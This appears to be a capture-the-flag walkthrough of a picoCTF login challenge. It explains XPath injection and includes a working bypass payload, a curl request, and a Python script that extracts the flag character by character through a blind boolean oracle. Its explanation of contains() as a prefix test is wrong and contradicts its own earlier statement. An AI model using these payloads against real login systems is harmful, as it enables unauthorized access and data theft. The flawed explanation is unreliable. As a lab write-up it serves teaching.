Description
There is a login page. Can you bypass it? The hint says XPath.
Setup
Navigate to the challenge login page.
# Open the challenge URL in your browserSolution
Walk me through it- Step 1Test for XPath injectionTry injecting a single quote in the username field. If the page returns a different error than a normal login failure, the backend is using XPath to look up credentials. A payload like
' or 'x'='x(using single quotes to break out of the XPath string) should return a success condition if the injection works.bash# Test injection in the name field: # name: ' or 'x'='x # password: anythingbashcurl -X POST http://<server>/ --data "name=' or 'x'='x&password=pass"Learn more
XPath injection is analogous to SQL injection but targets XML databases queried with XPath expressions. A typical login query looks like:
/users/user[name='INPUT' and password='PASS']Injecting a single quote breaks the XPath string literal. The payload
' or '*'='xturns the query into:/users/user[name='' or *='x' and password='pass']The
*matches any node, and thecontains(.)function tests whether the current node contains a substring. These are the building blocks of an XPath injection exploit. - Step 2Brute-force the flag character by characterOnce injection is confirmed, use the contains() XPath function to test whether the flag contains a given prefix. Automate this with a Python script that adds one character at a time and checks the server response for 'You are on the right path'.python
python3 << 'EOF' import requests url = "http://<server>/" flag = "picoCTF{" chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_}" while True: found = False for c in chars: guess = flag + c # Inject: ' or contains(.,'picoCTF{h') or 'x'='x payload = f"' or contains(.,'{guess}') or 'x'='X" r = requests.post(url, data={"name": payload, "password": "pass"}) if "right path" in r.text: flag = guess print(f"Flag so far: {flag}") found = True if c == "}": print(f"Flag: {flag}") exit() break if not found: print("No character matched. Done.") break EOFLearn more
Why contains() works here. The XPath
contains(., 'prefix')tests whether the current node's string value starts with the given prefix. By starting from the known prefixpicoCTF{and appending one character at a time, you get a binary oracle: the server says either "you are on the right path" (the prefix matches so far) or "login failure" (wrong character). This reduces the search from exponential to linear in the flag length.XPath vs SQL injection. XPath injection is less common than SQL injection because XML databases are less common than relational databases, but the attack pattern is identical: break out of a string literal, inject a boolean expression, and use the application's response as an oracle. XPath has no comment syntax equivalent to SQL's
--, so the closing condition must be balanced with a tautology likeor 'x'='x.
Flag
picoCTF{...}
XPath injection uses the contains() function to brute-force flag characters one at a time, using the server response as a boolean oracle.